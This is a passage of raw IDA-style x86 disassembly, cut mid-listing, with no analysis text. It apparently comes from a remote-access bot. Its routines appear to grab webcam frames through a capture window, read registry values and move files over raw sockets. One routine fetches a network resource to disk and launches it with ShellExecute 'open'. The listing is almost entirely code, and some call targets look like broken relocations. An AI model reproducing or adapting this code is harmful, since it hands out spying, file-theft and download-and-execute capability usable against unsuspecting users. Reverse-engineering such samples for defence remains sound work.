XREF: sub_4155F7+CBj push [ebp+var_4] call dword_4CAF14 test eax, eax jz short loc_4156E9 push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call dword_4CAFD0 loc_4156E9: ; CODE XREF: sub_4155F7+E0j push [ebp+arg_4] push [ebp+var_8] push esi call sub_41C310 mov ecx, [ebp+arg_8] add esp, 0Ch cmp ecx, ebx jg short loc_415704 mov ecx, 280h loc_415704: ; CODE XREF: sub_4155F7+106j mov eax, [ebp+arg_C] cmp eax, ebx jg short loc_415710 mov eax, 1E0h loc_415710: ; CODE XREF: sub_4155F7+112j push [ebp+var_4] mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_4CAF14 test eax, eax mov edi, 42Dh jz short loc_41575A push esi push [ebp+arg_4] push edi push [ebp+var_4] call dword_4CAFD0 loc_41575A: ; CODE XREF: sub_4155F7+153j push [ebp+var_4] call dword_4CAF14 test eax, eax jz short loc_415777 push ebx push ebx push 43Dh push [ebp+var_4] call dword_4CAFD0 loc_415777: ; CODE XREF: sub_4155F7+16Ej push [ebp+var_4] call dword_4CAF14 test eax, eax jz short loc_415796 push [ebp+arg_0] push ebx push 419h push [ebp+var_4] call dword_4CAFD0 loc_415796: ; CODE XREF: sub_4155F7+18Bj push [ebp+var_4] call dword_4CAF14 test eax, eax jz short loc_4157B3 push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call dword_4CAFD0 loc_4157B3: ; CODE XREF: sub_4155F7+1AAj push [ebp+var_8] call sub_41B0B1 push esi call sub_41B0B1 pop ecx pop ecx push [ebp+var_4] call dword_4CAF14 test eax, eax jz short loc_4157E0 push ebx push ebx push 40Bh push [ebp+var_4] call dword_4CAFD0 loc_4157E0: ; CODE XREF: sub_4155F7+63j ; sub_4155F7+D0j ... push [ebp+var_4] call dword_4CB024 mov eax, ebx loc_4157EB: ; CODE XREF: sub_4155F7+39j pop edi pop esi pop ebx leave retn sub_4155F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4157F0 proc near ; CODE XREF: sub_401ACD+752Ep var_90 = byte ptr -90h var_7C = dword ptr -7Ch var_64 = dword ptr -64h var_60 = dword ptr -60h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 90h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_4D2BA0 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_4CAEC4 mov edi, eax cmp edi, ebx jnz short loc_41582E mov eax, esi jmp loc_415A2A ; --------------------------------------------------------------------------- loc_41582E: ; CODE XREF: sub_4157F0+35j push edi call dword_4CAF14 test eax, eax jz short loc_41584B push ebx push [ebp+arg_4] push 40Ah push edi call dword_4CAFD0 jmp short loc_41584D ; --------------------------------------------------------------------------- loc_41584B: ; CODE XREF: sub_4157F0+47j xor eax, eax loc_41584D: ; CODE XREF: sub_4157F0+59j cmp eax, ebx jnz short loc_415858 loc_415851: ; CODE XREF: sub_4157F0+8Bj ; sub_4157F0+BCj mov ebx, esi jmp loc_415A21 ; --------------------------------------------------------------------------- loc_415858: ; CODE XREF: sub_4157F0+5Fj push edi call dword_4CAF14 test eax, eax jz short loc_415878 lea eax, [ebp+var_90] push eax push 2Ch push 40Eh push edi call dword_4CAFD0 loc_415878: ; CODE XREF: sub_4157F0+71j cmp [ebp+var_7C], ebx jz short loc_415851 push edi call dword_4CAF14 test eax, eax jz short loc_41589B push ebx push ebx push 42Ch push edi call dword_4CAFD0 mov [ebp+arg_4], eax jmp short loc_41589E ; --------------------------------------------------------------------------- loc_41589B: ; CODE XREF: sub_4157F0+96j mov [ebp+arg_4], ebx loc_41589E: ; CODE XREF: sub_4157F0+A9j push [ebp+arg_4] call sub_41B4D5 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_415851 push [ebp+arg_4] call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4158C5 push 1 pop ebx jmp loc_415A21 ; --------------------------------------------------------------------------- loc_4158C5: ; CODE XREF: sub_4157F0+CBj push edi call dword_4CAF14 test eax, eax jz short loc_4158E2 push [ebp+var_4] push [ebp+arg_4] push 42Ch push edi call dword_4CAFD0 loc_4158E2: ; CODE XREF: sub_4157F0+DEj push [ebp+arg_4] push [ebp+var_4] push esi call sub_41C310 mov ecx, [ebp+arg_C] add esp, 0Ch cmp ecx, ebx jg short loc_4158FD mov ecx, 0A0h loc_4158FD: ; CODE XREF: sub_4157F0+106j mov eax, [ebp+arg_10] cmp eax, ebx jg short loc_415907 push 78h pop eax loc_415907: ; CODE XREF: sub_4157F0+112j push edi mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_4CAF14 test eax, eax jz short loc_41594C push esi push [ebp+arg_4] push 42Dh push edi call dword_4CAFD0 loc_41594C: ; CODE XREF: sub_4157F0+14Aj push edi call dword_4CAF14 test eax, eax jz short loc_415969 lea eax, [ebp+var_64] push eax push 60h push 441h push edi call dword_4CAFD0 loc_415969: ; CODE XREF: sub_4157F0+165j push edi mov [ebp+var_60], ebx mov [ebp+var_3C], ebx mov [ebp+var_38], ebx mov [ebp+var_34], ebx mov [ebp+var_30], 1 mov [ebp+var_2C], 5 mov [ebp+var_64], 1046Ah call dword_4CAF14 test eax, eax jz short loc_4159A7 lea eax, [ebp+var_64] push eax push 60h push 440h push edi call dword_4CAFD0 loc_4159A7: ; CODE XREF: sub_4157F0+1A3j push edi call dword_4CAF14 test eax, eax jz short loc_4159C2 push [ebp+arg_0] push ebx push 414h push edi call dword_4CAFD0 loc_4159C2: ; CODE XREF: sub_4157F0+1C0j push edi call dword_4CAF14 test eax, eax jz short loc_4159DB push ebx push ebx push 43Eh push edi call dword_4CAFD0 loc_4159DB: ; CODE XREF: sub_4157F0+1DBj push edi call dword_4CAF14 test eax, eax jz short loc_4159F8 push [ebp+var_4] push [ebp+arg_4] push 42Dh push edi call dword_4CAFD0 loc_4159F8: ; CODE XREF: sub_4157F0+1F4j push [ebp+var_4] call sub_41B0B1 push esi call sub_41B0B1 pop ecx pop ecx push edi call dword_4CAF14 test eax, eax jz short loc_415A21 push ebx push ebx push 40Bh push edi call dword_4CAFD0 loc_415A21: ; CODE XREF: sub_4157F0+63j ; sub_4157F0+D0j ... push edi call dword_4CB024 mov eax, ebx loc_415A2A: ; CODE XREF: sub_4157F0+39j pop edi pop esi pop ebx leave retn sub_4157F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415A2F proc near ; CODE XREF: sub_401ACD+25F1p var_3F4 = byte ptr -3F4h var_2F0 = byte ptr -2F0h var_F0 = byte ptr -0F0h var_70 = byte ptr -70h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 3F4h push ebx xor ebx, ebx cmp off_4361F4, ebx mov [ebp+var_C], 80h jz loc_415BD0 push esi push edi mov eax, offset off_4361F4 mov esi, offset dword_436200 mov edi, offset dword_4373F8 loc_415A5F: ; CODE XREF: sub_415A2F+199j lea ecx, [ebp+var_4] push ecx push 20019h push ebx push dword ptr [eax] push dword ptr [esi-10h] call dword_4CAFE4 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_F0] push eax push ebx push ebx push dword ptr [esi-8] push [ebp+var_4] call dword_4CAE74 test eax, eax jnz loc_415BB6 mov eax, [esi] cmp eax, ebx jz loc_415B7A push eax lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_3F4] push offset dword_4293BC push eax call sub_41B886 lea eax, [ebp+var_3F4] push offset aR ; "r" push eax call sub_41B4C2 add esp, 18h cmp eax, ebx mov [ebp+var_8], eax jz loc_415BB6 push eax loc_415AD8: ; CODE XREF: sub_415A2F+D4j lea eax, [ebp+var_70] push 64h push eax call sub_41BB4F add esp, 0Ch test eax, eax jz loc_415B6F push dword ptr [esi+4] lea eax, [ebp+var_70] push eax call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_415B05 push [ebp+var_8] jmp short loc_415AD8 ; --------------------------------------------------------------------------- loc_415B05: ; CODE XREF: sub_415A2F+CFj push 3Dh push dword ptr [esi+4] call sub_41BFB0 pop ecx test eax, eax pop ecx jz short loc_415B33 lea eax, [ebp+var_70] push offset asc_4373F4 ; "=" push eax call sub_41C0F4 push offset asc_4373F4 ; "=" push ebx call sub_41C0F4 add esp, 10h jmp short loc_415B36 ; --------------------------------------------------------------------------- loc_415B33: ; CODE XREF: sub_415A2F+E4j lea eax, [ebp+var_70] loc_415B36: ; CODE XREF: sub_415A2F+102j push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_2F0] push ebx push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_2F0] push eax call sub_4151AC add esp, 18h loc_415B6F: ; CODE XREF: sub_415A2F+B9j push [ebp+var_8] call sub_41B05B pop ecx jmp short loc_415BB6 ; --------------------------------------------------------------------------- loc_415B7A: ; CODE XREF: sub_415A2F+6Aj lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_41B886 push ebx lea eax, [ebp+var_2F0] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_2F0] push eax call sub_4151AC add esp, 28h loc_415BB6: ; CODE XREF: sub_415A2F+60j ; sub_415A2F+A2j ... push [ebp+var_4] call dword_4CAF50 add esi, 18h cmp [esi-0Ch], ebx lea eax, [esi-0Ch] jnz loc_415A5F pop edi pop esi loc_415BD0: ; CODE XREF: sub_415A2F+19j pop ebx leave retn sub_415A2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415BD3 proc near ; CODE XREF: ___:00416278p var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4CAFF4 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_415C4F push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4CAF74 push [ebp+arg_0] mov [ebp+var_E], ax call dword_4CAFB4 cmp eax, esi jnz short loc_415C34 push [ebp+arg_0] call dword_4CAFF8 test eax, eax jz short loc_415C4F mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_415C34: ; CODE XREF: sub_415BD3+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4CAF1C cmp eax, esi jnz short loc_415C53 push edi call dword_4CB00C loc_415C4F: ; CODE XREF: sub_415BD3+1Bj ; sub_415BD3+58j mov eax, esi jmp short loc_415C55 ; --------------------------------------------------------------------------- loc_415C53: ; CODE XREF: sub_415BD3+73j mov eax, edi loc_415C55: ; CODE XREF: sub_415BD3+7Ej pop edi pop esi leave retn sub_415BD3 endp ; --------------------------------------------------------------------------- byte_415C59 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+A1Eo dd 11B4B8h, 5EBAE800h, 458B0000h, 57565308h, 0F08B6D6Ah dd 4CBD8D59h, 0F3FFFFFEh, 5E016AA5h, 89EC75FFh, 1B0B0h dd 54858D00h, 50FFFFFEh, 0FFFF42E8h, 59D88BFFh, 59FFFB83h dd 858D5275h, 0FFFFEE4Ch, 43747468h, 0DBE85000h, 3300005Bh dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh, 8D50F475h dd 0FFFF6C85h, 0E85350FFh, 0FFFF3DA6h, 8D14C483h, 0FFEE4C85h dd 0D1E850FFh, 0FFFFFFF4h, 2FE8F075h, 59FFFF57h, 15E85659h dd 90022AA3h, 43D12868h, 6DE85300h, 5900003Fh, 59FFF883h dd 858D5975h, 0FFFFEE4Ch, 43744468h, 77E85000h, 3300005Bh dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh, 8D50F475h dd 0FFFF6C85h, 0E85350FFh, 0FFFF3D42h, 8D14C483h, 0FFEE4C85h dd 6DE850FFh, 59FFFFF4h, 0C15FF53h, 0FF004CB0h, 0C3E8F075h dd 59FFFF56h, 0A9E89056h, 6A022AA2h, 48E89064h, 330224A7h dd 1000BEFFh, 8D560000h, 0FFEE4C85h, 0E85057FFh, 581Ch dd 8D0CC483h, 0FFEE4C85h, 505657FFh, 8C15FF53h, 85004CAFh dd 8D387EC0h, 0FFEE4C85h, 999868FFh, 0E8500042h, 6124h dd 0EE4C858Dh, 0E850FFFFh, 3CA8h, 850CC483h, 6A1474C0h dd 0F0E89064h, 6A0224A6h, 5580E80Ah, 0C085FFFFh, 8DA37559h dd 0FFEE4C85h, 741068FFh, 0E8500043h, 5AB2h, 59F87D39h dd 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h, 0FFFFFF6Ch dd 7FE85350h, 83FFFF3Ch, 858D14C4h, 0FFFFEE4Ch, 0F3AAE850h dd 5359FFFFh, 0B00C15FFh, 75FF004Ch, 5600E8F0h, 5759FFFFh dd 0A1E6E890h ; --------------------------------------------------------------------------- sub al, [edx] loc_415E1A: ; DATA XREF: sub_401ACD+7831o push ebp mov ebp, esp sub esp, 0A04h mov eax, [ebp+8] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp-1FCh] rep movsd push 1 xor esi, esi pop ebx mov [ebp-10h], esi push esi push ebx push 2 mov [eax+1B0h], ebx mov [ebp-0Ch], esi mov [ebp-20h], esi call dword_4CAFF4 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp-18h], edi jnz short loc_415E68 push offset unk_437574 jmp loc_416021 ; --------------------------------------------------------------------------- loc_415E68: ; CODE XREF: ___:00415E5Cj push 10h lea eax, [ebp-30h] push esi push eax call sub_41B590 add esp, 0Ch mov word ptr [ebp-30h], 2 push esi call dword_4CAF74 mov [ebp-2Eh], ax lea eax, [ebp-30h] push 10h push eax push edi mov [ebp-2Ch], esi call dword_4CAFA0 test eax, eax jz short loc_415EA6 push offset unk_437550 jmp loc_416021 ; --------------------------------------------------------------------------- loc_415EA6: ; CODE XREF: ___:00415E9Aj lea eax, [ebp-1Ch] mov dword ptr [ebp-1Ch], 10h push eax lea eax, [ebp-30h] push eax push edi call dword_4CAF18 push dword ptr [ebp-2Eh] call dword_4CAEA4 mov [ebp-4], eax lea eax, [ebp-1E0h] push eax mov [ebp+8], esi call sub_41AFE0 pop ecx loc_415ED8: ; CODE XREF: ___:00415F09j mov ecx, [ebp+8] mov al, [ebp+ecx-1E0h] cmp al, 20h jnz short loc_415EEB push 5Fh pop eax jmp short loc_415EEE ; --------------------------------------------------------------------------- loc_415EEB: ; CODE XREF: ___:00415EE4j movsx eax, al loc_415EEE: ; CODE XREF: ___:00415EE9j mov [ebp+ecx-604h], al lea eax, [ebp-1E0h] inc ecx push eax mov [ebp+8], ecx call sub_41AFE0 cmp [ebp+8], eax pop ecx jbe short loc_415ED8 push ebx push edi call dword_4CAF9C test eax, eax jz short loc_415F21 push offset unk_437474 jmp loc_416021 ; --------------------------------------------------------------------------- loc_415F21: ; CODE XREF: ___:00415F15j push esi push esi push 3 push esi push ebx lea eax, [ebp-1E0h] push 80000000h push eax call near ptr 26F0930h nop cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_415F4B push offset unk_437530 jmp loc_416021 ; --------------------------------------------------------------------------- loc_415F4B: ; CODE XREF: ___:00415F3Fj push esi push eax nop call near ptr 2720B20h mov [ebp+8], eax push eax movzx eax, word ptr [ebp-4] push eax push dword ptr [ebp-1FCh] call sub_40AC0F pop ecx push eax call dword_4CAFB4 push eax call dword_4CAF70 push eax lea eax, [ebp-1E0h] push eax lea eax, [ebp-3FCh] push offset dword_437518 push eax call sub_41B886 push esi lea eax, [ebp-3FCh] push esi push eax lea eax, [ebp-0DCh] push eax push dword ptr [ebp-1FCh] call sub_409A72 add esp, 2Ch lea eax, [ebp-38h] mov dword ptr [ebp-38h], 3Ch mov [ebp-34h], esi push eax push esi lea eax, [ebp-500h] push esi push eax push esi mov [ebp-4FCh], edi mov [ebp-500h], ebx call dword_4CAF5C test eax, eax jg short loc_415FFB push esi lea eax, [ebp-0DCh] push dword ptr [ebp-54h] push offset dword_437500 push eax push dword ptr [ebp-1FCh] call sub_409A72 jmp loc_41611F ; --------------------------------------------------------------------------- loc_415FFB: ; CODE XREF: ___:00415FD9j lea eax, [ebp-14h] mov dword ptr [ebp-14h], 10h push eax lea eax, [ebp-48h] push eax push edi call dword_4CB008 cmp eax, 0FFFFFFFFh mov [ebp-1F8h], eax jnz short loc_416034 push offset unk_4374DC loc_416021: ; CODE XREF: ___:00415E63j ; ___:00415EA1j ... lea eax, [ebp-3FCh] push eax call sub_41B886 pop ecx pop ecx jmp loc_416122 ; --------------------------------------------------------------------------- loc_416034: ; CODE XREF: ___:0041601Aj push edi call dword_4CB00C cmp [ebp+8], esi jz loc_4160E6 mov edi, 400h loc_416049: ; CODE XREF: ___:004160DDj mov eax, [ebp+8] mov [ebp-4], edi cmp eax, edi jge short loc_416056 mov [ebp-4], eax loc_416056: ; CODE XREF: ___:00416051j push edi lea eax, [ebp-0A04h] push esi push eax call sub_41B590 mov eax, [ebp+8] add esp, 0Ch neg eax push 2 push esi push eax push dword ptr [ebp-8] call near ptr 2750000h nop lea eax, [ebp-20h] push esi push eax lea eax, [ebp-0A04h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8] nop call near ptr 26F0000h push esi lea eax, [ebp-0A04h] push dword ptr [ebp-4] push eax push dword ptr [ebp-1F8h] call dword_4CAFC4 mov [ebp-4], eax push esi cdq add [ebp-10h], eax lea eax, [ebp-0A04h] push edi push eax push dword ptr [ebp-1F8h] adc [ebp-0Ch], edx call dword_4CAF8C cmp eax, ebx jl loc_41617B mov eax, [ebp-4] cmp eax, ebx jl loc_41617B sub [ebp+8], eax jnz loc_416049 mov edi, [ebp-18h] loc_4160E6: ; CODE XREF: ___:0041603Ej push dword ptr [ebp-8] nop call near ptr 2640897h push dword ptr [ebp-0Ch] push dword ptr [ebp-10h] call sub_416922 pop ecx pop ecx push eax push dword ptr [ebp-44h] call dword_4CB000 push eax lea eax, [ebp-1E0h] push eax lea eax, [ebp-3FCh] push offset unk_4374B0 push eax call sub_41B886 loc_41611F: ; CODE XREF: ___:00415FF6j add esp, 14h loc_416122: ; CODE XREF: ___:0041602Fj cmp [ebp-50h], esi jnz short loc_416147 push esi lea eax, [ebp-3FCh] push dword ptr [ebp-54h] push eax lea eax, [ebp-0DCh] push eax push dword ptr [ebp-1FCh] call sub_409A72 add esp, 14h loc_416147: ; CODE XREF: ___:00416125j lea eax, [ebp-3FCh] push eax call sub_4151AC cmp edi, esi pop ecx jbe short loc_41615F push edi call dword_4CB00C loc_41615F: ; CODE XREF: ___:00416156j push dword ptr [ebp-1F8h] call dword_4CB00C push dword ptr [ebp-58h] call sub_40B412 pop ecx push esi nop call near ptr 26C0000h loc_41617B: ; CODE XREF: ___:004160C9j ; ___:004160D4j push esi mov esi, offset dword_437498 push dword ptr [ebp-54h] lea eax, [ebp-0DCh] push esi push eax push dword ptr [ebp-1FCh] call sub_409A72 push esi call sub_4151AC add esp, 18h push dword ptr [ebp-1F8h] call dword_4CB00C push dword ptr [ebp-58h] call sub_40B412 pop ecx push ebx nop call near ptr 26C0000h loc_4161BC: ; DATA XREF: sub_401ACD+7B4o push ebp mov ebp, esp mov eax, 14C4h call sub_41BB20 mov eax, [ebp+8] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp-1C0h] rep movsd push 1 xor ebx, ebx pop esi mov [ebp-8], ebx mov [eax+1B0h], esi lea eax, [ebp-2C4h] push 104h push eax call near ptr 2660000h nop lea eax, [ebp-1A4h] push eax lea eax, [ebp-2C4h] push eax lea eax, [ebp-2C4h] push offset dword_4293C4 push eax call sub_41B886 add esp, 10h lea eax, [ebp-2C4h] push ebx push 80h push 2 push ebx push esi push 40000000h push eax nop call near ptr 26F0930h cmp eax, 0FFFFFFFFh jnz short loc_416246 push offset unk_437614 jmp short loc_41628C ; --------------------------------------------------------------------------- loc_416246: ; CODE XREF: ___:0041623Dj push eax nop call near ptr 2640897h lea eax, [ebp-2C4h] push offset aAB ; "a+b" push eax call sub_41B4C2 pop ecx cmp eax, ebx pop ecx mov [ebp-4], eax jnz short loc_41626E push offset unk_4375E4 jmp short loc_41628C ; --------------------------------------------------------------------------- loc_41626E: ; CODE XREF: ___:00416265j push dword ptr [ebp-20h] lea eax, [ebp-1B8h] push eax call sub_415BD3 pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebp+8], eax jnz short loc_41629F push offset unk_4375C4 loc_41628C: ; CODE XREF: ___:00416244j ; ___:0041626Cj lea eax, [ebp-4C4h] push eax call sub_41B886 pop ecx pop ecx jmp loc_41639B ; --------------------------------------------------------------------------- loc_41629F: ; CODE XREF: ___:00416285j mov esi, 1000h loc_4162A4: ; CODE XREF: ___:0041630Aj push esi lea eax, [ebp-14C4h] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-14C4h] push ebx push esi push eax push dword ptr [ebp+8] call dword_4CAF8C mov edi, eax cmp edi, ebx jz loc_41636B cmp edi, 0FFFFFFFFh jz short loc_41630C push dword ptr [ebp-4] lea eax, [ebp-14C4h] push edi push 1 push eax call sub_41D2B4 add [ebp-8], edi add esp, 10h push dword ptr [ebp-8] call dword_4CAF70 mov [ebp-0Ch], eax push ebx lea eax, [ebp-0Ch] push 4 push eax push dword ptr [ebp+8] call dword_4CAFC4 jmp short loc_4162A4 ; --------------------------------------------------------------------------- loc_41630C: ; CODE XREF: ___:004162D4j lea eax, [ebp-4C4h] push offset dword_437498 push eax call sub_41B886 push ebx lea eax, [ebp-4C4h] push dword ptr [ebp-18h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp-1C0h] call sub_409A72 lea eax, [ebp-4C4h] push eax call sub_4151AC push dword ptr [ebp-4] call sub_41B05B add esp, 24h push dword ptr [ebp+8] call dword_4CB00C push dword ptr [ebp-1Ch] call sub_40B412 pop ecx push 1 nop call near ptr 26C0000h loc_41636B: ; CODE XREF: ___:004162CBj mov eax, [ebp-8] cdq push edx push eax call sub_416922 pop ecx pop ecx push eax lea eax, [ebp-1B8h] push eax lea eax, [ebp-1A4h] push eax lea eax, [ebp-4C4h] push offset unk_437598 push eax call sub_41B886 add esp, 14h loc_41639B: ; CODE XREF: ___:0041629Aj cmp [ebp-14h], ebx jnz short loc_4163C0 push ebx lea eax, [ebp-4C4h] push dword ptr [ebp-18h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp-1C0h] call sub_409A72 add esp, 14h loc_4163C0: ; CODE XREF: ___:0041639Ej lea eax, [ebp-4C4h] push eax call sub_4151AC cmp [ebp-4], ebx pop ecx jz short loc_4163DB push dword ptr [ebp-4] call sub_41B05B pop ecx loc_4163DB: ; CODE XREF: ___:004163D0j cmp [ebp+8], ebx jbe short loc_4163E9 push dword ptr [ebp+8] call dword_4CB00C loc_4163E9: ; CODE XREF: ___:004163DEj push dword ptr [ebp-1Ch] call sub_40B412 pop ecx push ebx call near ptr 26C0000h nop loc_4163F9: ; DATA XREF: sub_401ACD+6279o ; sub_401ACD+6AB9o push ebp mov ebp, esp sub esp, 510h mov eax, [ebp+8] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp-2CCh] push 1 rep movsd pop edi xor esi, esi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp-248h] push esi push eax push dword_4CAF24 call dword_4CAE78 cmp eax, esi mov [ebp-18h], eax jz loc_416885 push esi push esi push 2 push esi push esi lea eax, [ebp-148h] push 40000000h push eax call near ptr 26F0930h nop cmp eax, edi mov [ebp-20h], eax jnb short loc_4164C0 lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset unk_4377E0 push eax call sub_41B886 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_4164A3 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 add esp, 14h loc_4164A3: ; CODE XREF: ___:00416481j lea eax, [ebp-510h] push eax call sub_4151AC push dword ptr [ebp-48h] call sub_40B412 pop ecx pop ecx push esi call near ptr 26C0000h nop loc_4164C0: ; CODE XREF: ___:00416461j xor edi, edi nop call near ptr 2670D93h mov ebx, 7D000h mov [ebp-4], eax push ebx call sub_41B4D5 pop ecx mov [ebp-1Ch], eax loc_4164DA: ; CODE XREF: ___:004165ADj push 200h lea eax, [ebp-510h] push esi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+8] push eax lea eax, [ebp-510h] push 200h push eax push dword ptr [ebp-18h] call dword_4CAE80 cmp [ebp-34h], esi jz short loc_41651E push dword ptr [ebp+8] lea eax, [ebp-510h] push eax call sub_4168EB pop ecx pop ecx loc_41651E: ; CODE XREF: ___:0041650Bj lea eax, [ebp-24h] push esi push eax lea eax, [ebp-510h] push dword ptr [ebp+8] push eax push dword ptr [ebp-20h] nop call near ptr 26E0000h cmp edi, ebx jnb short loc_41655C mov eax, ebx sub eax, edi cmp eax, [ebp+8] jbe short loc_416546 mov eax, [ebp+8] loc_416546: ; CODE XREF: ___:00416541j push eax lea eax, [ebp-510h] push eax mov eax, [ebp-1Ch] add eax, edi push eax call sub_41C310 add esp, 0Ch loc_41655C: ; CODE XREF: ___:00416538j add edi, [ebp+8] cmp [ebp-3Ch], esi jz short loc_416569 cmp edi, [ebp-3Ch] ja short loc_4165B3 loc_416569: ; CODE XREF: ___:00416562j cmp dword ptr [ebp-44h], 1 mov eax, edi jz short loc_416583 shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_4377B8 jmp short loc_416593 ; --------------------------------------------------------------------------- loc_416583: ; CODE XREF: ___:0041656Fj shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_437790 loc_416593: ; CODE XREF: ___:00416581j mov eax, [ebp-48h] imul eax, 234h add eax, offset dword_43DCB0 push eax call sub_41B886 add esp, 10h cmp [ebp+8], esi ja loc_4164DA loc_4165B3: ; CODE XREF: ___:00416567j cmp [ebp-3Ch], esi mov dword ptr [ebp-14h], 1 jz short loc_416608 cmp edi, [ebp-3Ch] jz short loc_416608 push dword ptr [ebp-3Ch] lea eax, [ebp-510h] mov [ebp-14h], esi push edi push offset unk_437764 push eax call sub_41B886 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 lea eax, [ebp-510h] push eax call sub_4151AC add esp, 28h loc_416608: ; CODE XREF: ___:004165BDj ; ___:004165C2j nop call near ptr 2670D93h sub eax, [ebp-4] xor edx, edx mov ecx, 3E8h push dword ptr [ebp-20h] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax call near ptr 2640897h nop push dword ptr [ebp-1Ch] call sub_41B0B1 cmp [ebp-38h], esi pop ecx jz short loc_416692 lea eax, [ebp-148h] push eax call sub_4010AB cmp eax, [ebp-38h] pop ecx jz short loc_416692 push dword ptr [ebp-38h] mov [ebp-14h], esi push eax lea eax, [ebp-510h] push offset unk_43773C push eax call sub_41B886 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 lea eax, [ebp-510h] push eax call sub_4151AC add esp, 28h loc_416692: ; CODE XREF: ___:0041663Aj ; ___:0041664Cj cmp [ebp-14h], esi jz loc_4168D2 cmp dword ptr [ebp-44h], 1 jz loc_41678D mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi fmul dbl_4276B0 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] fmul dbl_4276B0 fstp qword ptr [esp] push offset unk_437704 push eax call sub_41B886 add esp, 1Ch cmp [ebp-30h], esi jnz short loc_41670D push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409A72 add esp, 14h loc_41670D: ; CODE XREF: ___:004166EBj lea eax, [ebp-510h] push eax call sub_4151AC cmp dword ptr [ebp-40h], 1 pop ecx jnz loc_4168D2 push 5 push esi lea eax, [ebp-148h] push esi push eax push offset aOpen ; "open" push esi call dword_4CAEE0 cmp [ebp-30h], esi jnz loc_4168D2 lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset dword_4376E8 push eax call sub_41B886 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call 